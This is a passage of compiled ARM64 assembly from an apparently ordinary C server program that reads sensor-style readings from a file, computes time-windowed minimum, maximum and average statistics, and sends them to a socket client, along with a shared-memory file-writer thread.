lsl #12 ; =4096 add x0, x0, #2678 str x0, [sp, #168] ; 8-byte Folded Spill mov x1, #26 adrp x2, l_.str.7@PAGE add x2, x2, l_.str.7@PAGEOFF bl _strftime ldr x13, [sp, #152] ; 8-byte Folded Reload ldr x9, [sp, #160] ; 8-byte Folded Reload ldr x8, [sp, #168] ; 8-byte Folded Reload ldr w10, [sp, #456] ; implicit-def: $x12 mov x12, x10 ldr w10, [sp, #456] ; implicit-def: $x11 mov x11, x10 ldrsw x10, [sp, #456] mul x14, x10, x13 mov x10, x9 add x10, x10, x14 ldr s0, [x10, #4] scvtf s0, s0 fmov s1, #10.00000000 fdiv s0, s0, s1 fcvt d0, s0 ldrsw x10, [sp, #456] mul x10, x10, x13 add x9, x9, x10 ldr w9, [x9, #8] ; implicit-def: $x10 mov x10, x9 mov x9, sp add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #656 mov x13, x0 str x13, [x9] str x12, [x9, #8] str x11, [x9, #16] str d0, [x9, #24] str x10, [x9, #32] str x8, [x9, #40] mov w1, #0 mov x2, #2048 adrp x3, l_.str.8@PAGE add x3, x3, l_.str.8@PAGEOFF bl ___sprintf_chk b LBB1_17 LBB1_17: ; in Loop: Header=BB1_14 Depth=1 b LBB1_18 LBB1_18: ; in Loop: Header=BB1_14 Depth=1 ldr w8, [sp, #456] add w8, w8, #1 str w8, [sp, #456] b LBB1_14 LBB1_19: mov x9, sp add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #656 str x0, [sp, #128] ; 8-byte Folded Spill mov x8, x0 str x8, [x9] mov w1, #0 str w1, [sp, #144] ; 4-byte Folded Spill mov x2, #2048 adrp x3, l_.str.9@PAGE add x3, x3, l_.str.9@PAGEOFF bl ___sprintf_chk ldr x8, [sp, #128] ; 8-byte Folded Reload ldr w1, [sp, #144] ; 4-byte Folded Reload mov x9, sp str x8, [x9] add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #2960 str x0, [sp, #136] ; 8-byte Folded Spill mov x2, #3000 adrp x3, l_.str.10@PAGE add x3, x3, l_.str.10@PAGEOFF bl ___sprintf_chk ldr x0, [sp, #136] ; 8-byte Folded Reload ldr w8, [sp, #516] str w8, [sp, #148] ; 4-byte Folded Spill bl _strlen ldr x1, [sp, #136] ; 8-byte Folded Reload ldr w3, [sp, #144] ; 4-byte Folded Reload mov x8, x0 ldr w0, [sp, #148] ; 4-byte Folded Reload add x2, x8, #1 bl _send b LBB1_88 LBB1_20: ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x8, [x8, #144] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB1_87 b LBB1_21 LBB1_21: ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x0, [x8, #144] adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _strtok ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #80] ldr x8, [x8, #80] mov x9, sp str x8, [x9] adrp x0, l_.str.11@PAGE add x0, x0, l_.str.11@PAGEOFF bl _printf ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x0, [x8, #80] adrp x1, l_.str.12@PAGE add x1, x1, l_.str.12@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB1_58 b LBB1_22 LBB1_22: mov x0, #0 adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _strtok ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #72] str wzr, [sp, #428] ldr x8, [x8, #72] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB1_24 b LBB1_23 LBB1_23: ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x0, [x8, #72] bl _atoi str w0, [sp, #428] b LBB1_24 LBB1_24: mov w8, #-550 str w8, [sp, #424] mov w8, #1399 str w8, [sp, #420] str wzr, [sp, #412] mov w8, #100 str w8, [sp, #408] str wzr, [sp, #400] b LBB1_25 LBB1_25: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #400] subs w8, w8, #4 cset w8, ge tbnz w8, #0, LBB1_28 b LBB1_26 LBB1_26: ; in Loop: Header=BB1_25 Depth=1 ldrsw x8, [sp, #400] mov x10, #24 mul x11, x8, x10 add x8, sp, #1, lsl #12 ; =4096 add x8, x8, #2576 mov w9, #0 str w9, [x8, x11] ldrsw x9, [sp, #400] mul x11, x9, x10 mov x9, x8 add x9, x9, x11 str xzr, [x9, #8] ldrsw x9, [sp, #400] mul x9, x9, x10 add x8, x8, x9 str xzr, [x8, #16] b LBB1_27 LBB1_27: ; in Loop: Header=BB1_25 Depth=1 ldr w8, [sp, #400] add w8, w8, #1 str w8, [sp, #400] b LBB1_25 LBB1_28: mov x0, #0 bl _time ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #32] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF adrp x1, l_.str.4@PAGE add x1, x1, l_.str.4@PAGEOFF bl _fopen ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #24] b LBB1_29 LBB1_29: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x2, [x8, #24] add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #2704 mov w1, #256 bl _fgets subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB1_57 b LBB1_30 LBB1_30: ; in Loop: Header=BB1_29 Depth=1 add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #2704 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #16] ldr x8, [x8, #16] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_32 b LBB1_31 LBB1_31: ; in Loop: Header=BB1_29 Depth=1 b LBB1_29 LBB1_32: ; in Loop: Header=BB1_29 Depth=1 mov x0, #0 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #8] ldr x8, [x8, #8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_34 b LBB1_33 LBB1_33: ; in Loop: Header=BB1_29 Depth=1 b LBB1_29 LBB1_34: ; in Loop: Header=BB1_29 Depth=1 mov x0, #0 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8] ldr x8, [x8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_36 b LBB1_35 LBB1_35: ; in Loop: Header=BB1_29 Depth=1 b LBB1_29 LBB1_36: ; in Loop: Header=BB1_29 Depth=1 mov x0, #0 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok str x0, [sp, #352] ldr x8, [sp, #352] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_38 b LBB1_37 LBB1_37: ; in Loop: Header=BB1_29 Depth=1 b LBB1_29 LBB1_38: ; in Loop: Header=BB1_29 Depth=1 ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x0, [x8, #8] bl _atoi ldr x8, [sp, #216] ; 8-byte Folded Reload str w0, [sp, #348] ldr x0, [x8, #16] mov x1, #0 mov w2, #10 bl _strtoul ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [sp, #336] ldr x0, [x8] bl _atoi str w0, [sp, #332] ldr x0, [sp, #352] bl _atoi str w0, [sp, #328] ldr w8, [sp, #348] ldr w9, [sp, #428] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB1_56 b LBB1_39 LBB1_39: ; in Loop: Header=BB1_29 Depth=1 ldr w8, [sp, #332] str w8, [sp, #416] ldr w8, [sp, #328] str w8, [sp, #404] ldr w8, [sp, #332] ldr w9, [sp, #424] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB1_41 b LBB1_40 LBB1_40: ; in Loop: Header=BB1_29 Depth=1 ldr w8, [sp, #332] str w8, [sp, #424] b LBB1_41 LBB1_41: ; in Loop: Header=BB1_29 Depth=1 ldr w8, [sp, #332] ldr w9, [sp, #420] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_43 b LBB1_42 LBB1_42: ; in Loop: Header=BB1_29 Depth=1 ldr w8, [sp, #332] str w8, [sp, #420] b LBB1_43 LBB1_43: ; in Loop: Header=BB1_29 Depth=1 ldr w8, [sp, #328] ldr w9, [sp, #412] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB1_45 b LBB1_44 LBB1_44: ; in Loop: Header=BB1_29 Depth=1 ldr w8, [sp, #328] str w8, [sp, #412] b LBB1_45 LBB1_45: ; in Loop: Header=BB1_29 Depth=1 ldr w8, [sp, #328] ldr w9, [sp, #408] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_47 b LBB1_46 LBB1_46: ; in Loop: Header=BB1_29 Depth=1 ldr w8, [sp, #328] str w8, [sp, #408] b LBB1_47 LBB1_47: ; in Loop: Header=BB1_29 Depth=1 ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x8, [x8, #32] ldr x9, [sp, #336] subs x8, x8, x9 subs x8, x8, #3600 cset w8, hi tbnz w8, #0, LBB1_49 b LBB1_48 LBB1_48: ; in Loop: Header=BB1_29 Depth=1 ldr x9, [sp, #216] ; 8-byte Folded Reload ldr w8, [sp, #6672] add w8, w8, #1 str w8, [sp, #6672] ldrsw x10, [sp, #332] ldr x8, [x9, #6320] add x8, x8, x10 str x8, [x9, #6320] ldrsw x10, [sp, #328] ldr x8, [x9, #6328] add x8, x8, x10 str x8, [x9, #6328] b LBB1_49 LBB1_49: ; in Loop: Header=BB1_29 Depth=1 ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x8, [x8, #32] ldr x9, [sp, #336] subs x8, x8, x9 mov x9, #21600 subs x8, x8, x9 cset w8, hi tbnz w8, #0, LBB1_51 b LBB1_50 LBB1_50: ; in Loop: Header=BB1_29 Depth=1 ldr x9, [sp, #216] ; 8-byte Folded Reload ldr w8, [sp, #6696] add w8, w8, #1 str w8, [sp, #6696] ldrsw x10, [sp, #332] ldr x8, [x9, #6344] add x8, x8, x10 str x8, [x9, #6344] ldrsw x10, [sp, #328] ldr x8, [x9, #6352] add x8, x8, x10 str x8, [x9, #6352] b LBB1_51 LBB1_51: ; in Loop: Header=BB1_29 Depth=1 ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x8, [x8, #32] ldr x9, [sp, #336] subs x8, x8, x9 mov x9, #43200 subs x8, x8, x9 cset w8, hi tbnz w8, #0, LBB1_53 b LBB1_52 LBB1_52: ; in Loop: Header=BB1_29 Depth=1 ldr x9, [sp, #216] ; 8-byte Folded Reload ldr w8, [sp, #6720] add w8, w8, #1 str w8, [sp, #6720] ldrsw x10, [sp, #332] ldr x8, [x9, #6368] add x8, x8, x10 str x8, [x9, #6368] ldrsw x10, [sp, #328] ldr x8, [x9, #6376] add x8, x8, x10 str x8, [x9, #6376] b LBB1_53 LBB1_53: ; in Loop: Header=BB1_29 Depth=1 ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x8, [x8, #32] ldr x9, [sp, #336] subs x8, x8, x9 mov x9, #20864 movk x9, #1, lsl #16 subs x8, x8, x9 cset w8, hi tbnz w8, #0, LBB1_55 b LBB1_54 LBB1_54: ; in Loop: Header=BB1_29 Depth=1 ldr x9, [sp, #216] ; 8-byte Folded Reload ldr w8, [sp, #6744] add w8, w8, #1 str w8, [sp, #6744] ldrsw x10, [sp, #332] ldr x8, [x9, #6392] add x8, x8, x10 str x8, [x9, #6392] ldrsw x10, [sp, #328] ldr x8, [x9, #6400] add x8, x8, x10 str x8, [x9, #6400] b LBB1_55 LBB1_55: ; in Loop: Header=BB1_29 Depth=1 b LBB1_56 LBB1_56: ; in Loop: Header=BB1_29 Depth=1 b LBB1_29 LBB1_57: ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x0, [x8, #24] bl _fclose add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #656 str x0, [sp, #104] ; 8-byte Folded Spill mov w1, #0 str w1, [sp, #120] ; 4-byte Folded Spill mov x2, #2048 str x2, [sp, #96] ; 8-byte Folded Spill adrp x3, l_.str.13@PAGE add x3, x3, l_.str.13@PAGEOFF bl ___sprintf_chk ldr x2, [sp, #96] ; 8-byte Folded Reload ldr w1, [sp, #120] ; 4-byte Folded Reload ldr x0, [sp, #104] ; 8-byte Folded Reload ldr s0, [sp, #416] scvtf s0, s0 fmov s1, #10.00000000 str s1, [sp, #92] ; 4-byte Folded Spill fdiv s0, s0, s1 fcvt d0, s0 ldr w9, [sp, #404] ; implicit-def: $x8 mov x8, x9 mov x9, sp mov x10, x0 str x10, [x9] str d0, [x9, #8] str x8, [x9, #16] adrp x3, l_.str.14@PAGE add x3, x3, l_.str.14@PAGEOFF bl ___sprintf_chk ldr s1, [sp, #92] ; 4-byte Folded Reload ldr x2, [sp, #96] ; 8-byte Folded Reload ldr w1, [sp, #120] ; 4-byte Folded Reload ldr x0, [sp, #104] ; 8-byte Folded Reload ldr s0, [sp, #420] scvtf s0, s0 fdiv s0, s0, s1 fcvt d0, s0 ldr w9, [sp, #408] ; implicit-def: $x8 mov x8, x9 mov x9, sp mov x10, x0 str x10, [x9] str d0, [x9, #8] str x8, [x9, #16] adrp x3, l_.str.15@PAGE add x3, x3, l_.str.15@PAGEOFF bl ___sprintf_chk ldr s1, [sp, #92] ; 4-byte Folded Reload ldr x2, [sp, #96] ; 8-byte Folded Reload ldr w1, [sp, #120] ; 4-byte Folded Reload ldr x0, [sp, #104] ; 8-byte Folded Reload ldr s0, [sp, #424] scvtf s0, s0 fdiv s0, s0, s1 fcvt d0, s0 ldr w9, [sp, #412] ; implicit-def: $x8 mov x8, x9 mov x9, sp mov x10, x0 str x10, [x9] str d0, [x9, #8] str x8, [x9, #16] adrp x3, l_.str.16@PAGE add x3, x3, l_.str.16@PAGEOFF bl ___sprintf_chk ldr s1, [sp, #92] ; 4-byte Folded Reload ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x2, [sp, #96] ; 8-byte Folded Reload ldr w1, [sp, #120] ; 4-byte Folded Reload ldr x0, [sp, #104] ; 8-byte Folded Reload ldr d0, [x8, #6320] fmov x9, d0 scvtf s0, x9 ldr s2, [sp, #6672] scvtf s2, s2 fdiv s0, s0, s2 fdiv s0, s0, s1 fcvt d0, s0 ldr x8, [x8, #6328] ldrsw x9, [sp, #6672] sdiv x8, x8, x9 mov x9, sp mov x10, x0 str x10, [x9] str d0, [x9, #8] str x8, [x9, #16] adrp x3, l_.str.17@PAGE add x3, x3, l_.str.17@PAGEOFF bl ___sprintf_chk ldr s1, [sp, #92] ; 4-byte Folded Reload ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x2, [sp, #96] ; 8-byte Folded Reload ldr w1, [sp, #120] ; 4-byte Folded Reload ldr x0, [sp, #104] ; 8-byte Folded Reload ldr d0, [x8, #6344] fmov x9, d0 scvtf s0, x9 ldr s2, [sp, #6696] scvtf s2, s2 fdiv s0, s0, s2 fdiv s0, s0, s1 fcvt d0, s0 ldr x8, [x8, #6352] ldrsw x9, [sp, #6696] sdiv x8, x8, x9 mov x9, sp mov x10, x0 str x10, [x9] str d0, [x9, #8] str x8, [x9, #16] adrp x3, l_.str.18@PAGE add x3, x3, l_.str.18@PAGEOFF bl ___sprintf_chk ldr s1, [sp, #92] ; 4-byte Folded Reload ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x2, [sp, #96] ; 8-byte Folded Reload ldr w1, [sp, #120] ; 4-byte Folded Reload ldr x0, [sp, #104] ; 8-byte Folded Reload ldr d0, [x8, #6368] fmov x9, d0 scvtf s0, x9 ldr s2, [sp, #6720] scvtf s2, s2 fdiv s0, s0, s2 fdiv s0, s0, s1 fcvt d0, s0 ldr x8, [x8, #6376] ldrsw x9, [sp, #6720] sdiv x8, x8, x9 mov x9, sp mov x10, x0 str x10, [x9] str d0, [x9, #8] str x8, [x9, #16] adrp x3, l_.str.19@PAGE add x3, x3, l_.str.19@PAGEOFF bl ___sprintf_chk ldr s1, [sp, #92] ; 4-byte Folded Reload ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x2, [sp, #96] ; 8-byte Folded Reload ldr w1, [sp, #120] ; 4-byte Folded Reload ldr x0, [sp, #104] ; 8-byte Folded Reload ldr d0, [x8, #6392] fmov x9, d0 scvtf s0, x9 ldr s2, [sp, #6744] scvtf s2, s2 fdiv s0, s0, s2 fdiv s0, s0, s1 fcvt d0, s0 ldr x8, [x8, #6400] ldrsw x9, [sp, #6744] sdiv x8, x8, x9 mov x9, sp mov x10, x0 str x10, [x9] str d0, [x9, #8] str x8, [x9, #16] adrp x3, l_.str.20@PAGE add x3, x3, l_.str.20@PAGEOFF bl ___sprintf_chk ldr x2, [sp, #96] ; 8-byte Folded Reload ldr w1, [sp, #120] ; 4-byte Folded Reload ldr x0, [sp, #104] ; 8-byte Folded Reload mov x9, sp mov x8, x0 str x8, [x9] adrp x3, l_.str.9@PAGE add x3, x3, l_.str.9@PAGEOFF bl ___sprintf_chk ldr x8, [sp, #104] ; 8-byte Folded Reload ldr w1, [sp, #120] ; 4-byte Folded Reload ldr w9, [sp, #428] ; implicit-def: $x10 mov x10, x9 mov x9, sp str x10, [x9] str x8, [x9, #8] add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #2960 str x0, [sp, #112] ; 8-byte Folded Spill mov x2, #3000 adrp x3, l_.str.21@PAGE add x3, x3, l_.str.21@PAGEOFF bl ___sprintf_chk ldr x0, [sp, #112] ; 8-byte Folded Reload ldr w8, [sp, #516] str w8, [sp, #124] ; 4-byte Folded Spill bl _strlen ldr x1, [sp, #112] ; 8-byte Folded Reload ldr w3, [sp, #120] ; 4-byte Folded Reload mov x8, x0 ldr w0, [sp, #124] ; 4-byte Folded Reload add x2, x8, #1 bl _send b LBB1_86 LBB1_58: ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x0, [x8, #80] adrp x1, l_.str.22@PAGE add x1, x1, l_.str.22@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB1_85 b LBB1_59 LBB1_59: mov x0, #0 adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _strtok str x0, [sp, #320] mov w8, #1 str w8, [sp, #316] ldr x8, [sp, #320] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB1_61 b LBB1_60 LBB1_60: ldr x0, [sp, #320] bl _atoi str w0, [sp, #316] b LBB1_61 LBB1_61: ldr w8, [sp, #316] mov w9, #3600 mul w8, w8, w9 str w8, [sp, #316] mov x0, #0 bl _time str x0, [sp, #304] str wzr, [sp, #300] b LBB1_62 LBB1_62: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #300] subs w8, w8, #256 cset w8, ge tbnz w8, #0, LBB1_65 b LBB1_63 LBB1_63: ; in Loop: Header=BB1_62 Depth=1 ldrsw x8, [sp, #300] mov x10, #24 mul x11, x8, x10 add x8, sp, #528 mov w9, #0 str w9, [x8, x11] ldrsw x9, [sp, #300] mul x11, x9, x10 mov x9, x8 add x9, x9, x11 str xzr, [x9, #8] ldrsw x9, [sp, #300] mul x9, x9, x10 add x8, x8, x9 str xzr, [x8, #16] b LBB1_64 LBB1_64: ; in Loop: Header=BB1_62 Depth=1 ldr w8, [sp, #300] add w8, w8, #1 str w8, [sp, #300] b LBB1_62 LBB1_65: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF adrp x1, l_.str.4@PAGE add x1, x1, l_.str.4@PAGEOFF bl _fopen str x0, [sp, #288] b LBB1_66 LBB1_66: ; =>This Inner Loop Header: Depth=1 ldr x2, [sp, #288] add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #2704 mov w1, #256 bl _fgets subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB1_78 b LBB1_67 LBB1_67: ; in Loop: Header=BB1_66 Depth=1 add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #2704 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok str x0, [sp, #280] ldr x8, [sp, #280] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_69 b LBB1_68 LBB1_68: ; in Loop: Header=BB1_66 Depth=1 b LBB1_66 LBB1_69: ; in Loop: Header=BB1_66 Depth=1 mov x0, #0 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok str x0, [sp, #272] ldr x8, [sp, #272] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_71 b LBB1_70 LBB1_70: ; in Loop: Header=BB1_66 Depth=1 b LBB1_66 LBB1_71: ; in Loop: Header=BB1_66 Depth=1 mov x0, #0 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok str x0, [sp, #264] ldr x8, [sp, #264] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_73 b LBB1_72 LBB1_72: ; in Loop: Header=BB1_66 Depth=1 b LBB1_66 LBB1_73: ; in Loop: Header=BB1_66 Depth=1 mov x0, #0 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok str x0, [sp, #256] ldr x8, [sp, #256] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_75 b LBB1_74 LBB1_74: ; in Loop: Header=BB1_66 Depth=1 b LBB1_66 LBB1_75: ; in Loop: Header=BB1_66 Depth=1 ldr x0, [sp, #272] bl _atoi str w0, [sp, #252] ldr x0, [sp, #280] mov x1, #0 mov w2, #10 bl _strtoul str x0, [sp, #240] ldr x0, [sp, #264] bl _atoi str w0, [sp, #236] ldr x0, [sp, #256] bl _atoi str w0, [sp, #232] ldr x8, [sp, #304] ldr x9, [sp, #240] subs x8, x8, x9 ldrsw x9, [sp, #316] subs x8, x8, x9 cset w8, hi tbnz w8, #0, LBB1_77 b LBB1_76 LBB1_76: ; in Loop: Header=BB1_66 Depth=1 ldrsw x8, [sp, #252] mov x11, #24 mul x10, x8, x11 add x8, sp, #528 mov x9, x8 add x10, x9, x10 ldr w9, [x10] add w9, w9, #1 str w9, [x10] ldrsw x12, [sp, #236] ldrsw x9, [sp, #252] mul x10, x9, x11 mov x9, x8 add x10, x9, x10 ldr x9, [x10, #8] add x9, x9, x12 str x9, [x10, #8] ldrsw x10, [sp, #232] ldrsw x9, [sp, #252] mul x9, x9, x11 add x9, x8, x9 ldr x8, [x9, #16] add x8, x8, x10 str x8, [x9, #16] b LBB1_77 LBB1_77: ; in Loop: Header=BB1_66 Depth=1 b LBB1_66 LBB1_78: ldr x0, [sp, #288] bl _fclose add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #656 mov w1, #0 mov x2, #2048 adrp x3, l_.str.23@PAGE add x3, x3, l_.str.23@PAGEOFF bl ___sprintf_chk str wzr, [sp, #228] b LBB1_79 LBB1_79: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #228] subs w8, w8, #256 cset w8, ge tbnz w8, #0, LBB1_84 b LBB1_80 LBB1_80: ; in Loop: Header=BB1_79 Depth=1 ldrsw x8, [sp, #228] mov x9, #24 mul x9, x8, x9 add x8, sp, #528 ldr w8, [x8, x9] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB1_82 b LBB1_81 LBB1_81: ; in Loop: Header=BB1_79 Depth=1 ldr w8, [sp, #228] ; implicit-def: $x11 mov x11, x8 ldr w8, [sp, #228] ; implicit-def: $x10 mov x10, x8 ldrsw x8, [sp, #228] mov x13, #24 mul x12, x8, x13 add x9, sp, #528 mov x8, x9 add x8, x8, x12 ldr d0, [x8, #8] fmov x8, d0 scvtf s0, x8 ldrsw x8, [sp, #228] mul x8, x8, x13 ldr s1, [x9, x8] scvtf s1, s1 fdiv s0, s0, s1 fmov s1, #10.00000000 fdiv s0, s0, s1 fcvt d0, s0 ldrsw x8, [sp, #228] mul x12, x8, x13 mov x8, x9 add x8, x8, x12 ldr x8, [x8, #16] ldrsw x12, [sp, #228] mul x12, x12, x13 ldrsw x9, [x9, x12] sdiv x8, x8, x9 mov x9, sp add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #656 mov x12, x0 str x12, [x9] str x11, [x9, #8] str x10, [x9, #16] str d0, [x9, #24] str x8, [x9, #32] mov w1, #0 mov x2, #2048 adrp x3, l_.str.24@PAGE add x3, x3, l_.str.24@PAGEOFF bl ___sprintf_chk b LBB1_82 LBB1_82: ; in Loop: Header=BB1_79 Depth=1 b LBB1_83 LBB1_83: ; in Loop: Header=BB1_79 Depth=1 ldr w8, [sp, #228] add w8, w8, #1 str w8, [sp, #228] b LBB1_79 LBB1_84: mov x9, sp add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #656 str x0, [sp, #64] ; 8-byte Folded Spill mov x8, x0 str x8, [x9] mov w1, #0 str w1, [sp, #84] ; 4-byte Folded Spill mov x2, #2048 adrp x3, l_.str.9@PAGE add x3, x3, l_.str.9@PAGEOFF bl ___sprintf_chk ldr x8, [sp, #64] ; 8-byte Folded Reload ldr w1, [sp, #84] ; 4-byte Folded Reload ldr w9, [sp, #316] mov w10, #3600 sdiv w11, w9, w10 mov x9, sp ; implicit-def: $x10 mov x10, x11 str x10, [x9] str x8, [x9, #8] add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #2960 str x0, [sp, #72] ; 8-byte Folded Spill mov x2, #3000 adrp x3, l_.str.25@PAGE add x3, x3, l_.str.25@PAGEOFF bl ___sprintf_chk ldr x0, [sp, #72] ; 8-byte Folded Reload ldr w8, [sp, #516] str w8, [sp, #88] ; 4-byte Folded Spill bl _strlen ldr x1, [sp, #72] ; 8-byte Folded Reload ldr w3, [sp, #84] ; 4-byte Folded Reload mov x8, x0 ldr w0, [sp, #88] ; 4-byte Folded Reload add x2, x8, #1 bl _send b LBB1_85 LBB1_85: b LBB1_86 LBB1_86: b LBB1_87 LBB1_87: b LBB1_88 LBB1_88: ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x8, [x8, #144] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB1_90 b LBB1_89 LBB1_89: add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #2960 str x0, [sp, #48] ; 8-byte Folded Spill adrp x1, l_.str.26@PAGE add x1, x1, l_.str.26@PAGEOFF mov x2, #3000 bl ___strcpy_chk ldr x0, [sp, #48] ; 8-byte Folded Reload ldr w8, [sp, #516] str w8, [sp, #60] ; 4-byte Folded Spill bl _strlen ldr x1, [sp, #48] ; 8-byte Folded Reload mov x8, x0 ldr w0, [sp, #60] ; 4-byte Folded Reload add x2, x8, #1 mov w3, #0 bl _send b LBB1_90 LBB1_90: ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x0, [x8, #144] bl _free ldr w0, [sp, #516] bl _close ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB1_92 b LBB1_91 LBB1_91: bl ___stack_chk_fail LBB1_92: mov x0, #0 add sp, sp, #4, lsl #12 ; =16384 add sp, sp, #1872 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _thr_filewrite ; -- Begin function thr_filewrite .p2align 2 _thr_filewrite: ; @thr_filewrite .cfi_startproc ; %bb.0: sub sp, sp, #128 .cfi_def_cfa_offset 128 stp x29, x30, [sp, #112] ; 16-byte Folded Spill add x29, sp, #112 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] adrp x0, l_.str.27@PAGE add x0, x0, l_.str.27@PAGEOFF bl _printf adrp x0, l_.str.28@PAGE add x0, x0, l_.str.28@PAGEOFF mov w1, #53 bl _ftok stur w0, [x29, #-12] adrp x0, l_.str.29@PAGE add x0, x0, l_.str.29@PAGEOFF bl _printf ldur w0, [x29, #-12] mov x1, #3096 mov w2, #511 bl _shmget stur w0, [x29, #-16] adrp x0, l_.str.30@PAGE add x0, x0, l_.str.30@PAGEOFF bl _printf ldur w0, [x29, #-16] mov x1, #0 mov w2, #0 bl _shmat stur x0, [x29, #-24] ldur x8, [x29, #-24] ldr x8, [x8, #1528] stur x8, [x29, #-32] ldur x8, [x29, #-24] ldr x8, [x8, #3064] stur x8, [x29, #-40] b LBB2_1 LBB2_1: ; =>This Loop Header: Depth=1 ; Child Loop BB2_9 Depth 2 ; Child Loop BB2_3 Depth 2 ldur x8, [x29, #-24] ldr x8, [x8, #1528] ldur x9, [x29, #-32] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB2_7 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF adrp x1, l_.str.31@PAGE add x1, x1, l_.str.31@PAGEOFF bl _fopen stur x0, [x29, #-48] adrp x0, l_.str.32@PAGE add x0, x0, l_.str.32@PAGEOFF bl _printf stur wzr, [x29, #-52] b LBB2_3 LBB2_3: ; Parent Loop BB2_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w8, [x29, #-52] subs w8, w8, #64 cset w8, ge tbnz w8, #0, LBB2_6 b LBB2_4 LBB2_4: ; in Loop: Header=BB2_3 Depth=2 ldur x0, [x29, #-48] ldur x8, [x29, #-24] ldursw x9, [x29, #-52] mov x13, #24 mul x9, x9, x13 add x8, x8, x9 ldr x11, [x8, #16] ldur x8, [x29, #-24] ldursw x9, [x29, #-52] mul x9, x9, x13 ldrb w12, [x8, x9] 